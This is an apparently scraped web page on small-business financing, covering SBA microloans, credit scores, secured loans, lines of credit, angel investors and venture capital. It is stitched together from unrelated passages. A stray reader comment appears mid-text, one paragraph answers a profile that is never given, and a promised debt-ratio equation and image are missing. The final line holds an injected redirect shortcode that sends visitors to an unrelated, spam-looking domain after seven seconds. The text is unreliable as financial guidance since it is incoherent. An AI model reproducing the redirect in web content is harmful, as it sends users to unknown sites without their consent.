For small (up to $35,000), short-term loans, the SBA’s Microloan Program may be right to give your business the help it needs. The loans may be used for working capital or the purchase of inventory, furniture or fixtures, supplies, machinery, and/or equipment. The target audience is small businesses and not-for-profit child-care centers that need small-scale financing and perhaps some technical assistance for the purpose of starting up or expanding. These loans are administered through certain designated microloan lenders, which are nonprofit organizations with experience in financing small loans and providing businesses with technical assistance.
Businesses must meet certain criteria to qualify for an SBA loan in addition to meeting the credit qualifications of the lending partner. We also differentiate SBA loans based on the need of the business owner.
Because you have strong credit but your revenue doesn’t quite meet the requirements of most online lenders, consider Fundbox or a business credit card. Business credit cards are a solid option for ongoing working and provide quick access to cash, spending rewards and sign-up bonuses. If your business has unpaid customer invoices, you can take a cash advance against those invoices through Fundbox, although you’ll likely pay a higher APR than you would with a business credit card.
The image below shows how your FICO score is created and what importance is placed on each issue. If you think you can improve on any of these areas in a few months, you may even consider delaying your loan application until your score improves.
Secured Loans often come from banks or traditional lending sources. They are the most common type of financial borrowing available. Secured loans, backed by an asset such as a house or piece of property, give the lender the ability to repossess collateral should the borrower default on their loan. The type of collateral required can vary and the lender and borrower must come to agreeable terms in order to move forward with the lending process.
The growth of alternative lending gives established companies a wide range of business loan options. But entrepreneurs might find it hard to get a small-business startup loan. After all, who wants to lend thousands of dollars to a small business that doesn’t even have revenue yet?
In other words, an SBA Microloan is by no means a giveaway. The intermediary lender has a little more flexibility in determining who seems creditworthy that larger, rigid lending institutions but they still need to feel extremely confident of your ability to repay the loan.
• Your business also needs to meet lender qualifications. After determining that your business meets the SBA qualifications, you need to apply for a commercial loan — and the qualifications for that are often more arduous. “To secure an SBA loan, you must to submit a loan application to a bank, credit union, or other financial company that processes SBA loans,” says Jim Anderson, a management counselor for Orange County SCORE, a nationwide non-profit small business mentoring and training association, and a former management consultant who spent time working for Honeywell and the Ford Motor Co. “You will not directly secure the loan from the SBA; the SBA makes loans available through participating vendors and provides a government guarantee to the lenders. The SBA has designated some lenders as ‘Preferred Lenders’ that can approve loan requests on behalf of the SBA, which may expedite the loan process.”
It’s important that those who are applying and obtaining a loan get the right one. Great job laying out and discussing the different types of SBA Loans. I’m sure that many people will find this post helpful.
• Contact lenders. You need to find a bank or lender that works with the SBA. Most leading commercial banks will offer 7(a) loans, but so do credit unions and other lenders. You can find a list of local SBA lenders by state on the SBA website. “You can contact more than one,” Cruz says. “But this should not be the first time you meet the banker. There are three people that every business person should have a relationship with — an accountant that knows your industry, a lawyer that knows your industry, and a banker that knows your industry.” If you have a relationship with a banker, that’s who you start with, Cruz says. If you don’t know the bankers in your community, try to get around it by having someone you know refer you. Call possible lenders, providing a brief profile of you and your business to see if the lender has an interest in exploring the possibility of a loan. If so, make an appointment to meet the lender(s).
Lenders will focus on this metric as well. The amount you can afford to repay can usually be determined by knowing and understanding you Debt Service Coverage Ratio. This is the standard practice lenders use to calculate how much free cash you have to repay debt. Your debt service coverage ratio is a simple equation:
A TD line of credit offers your business financial flexibility as you manage cash flow. Not only is it easy to access on-demand, it can also be paid down and used again as your business grows and changes.
When pitching an angel investor, all the old rules still apply: be succinct, avoid jargon, have an exit strategy. But the economic turmoil of the last few years has made a complicated game even trickier. Here are some tips to win over angel interest:
Venture capitalists are basically investors who are looking for a very high rate of return for their money, generally around 10-15 times initial investment within a 5 year period. Most new businesses cannot guarantee such a high rate of return, which is why they are often not a good match for venture capital funding. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]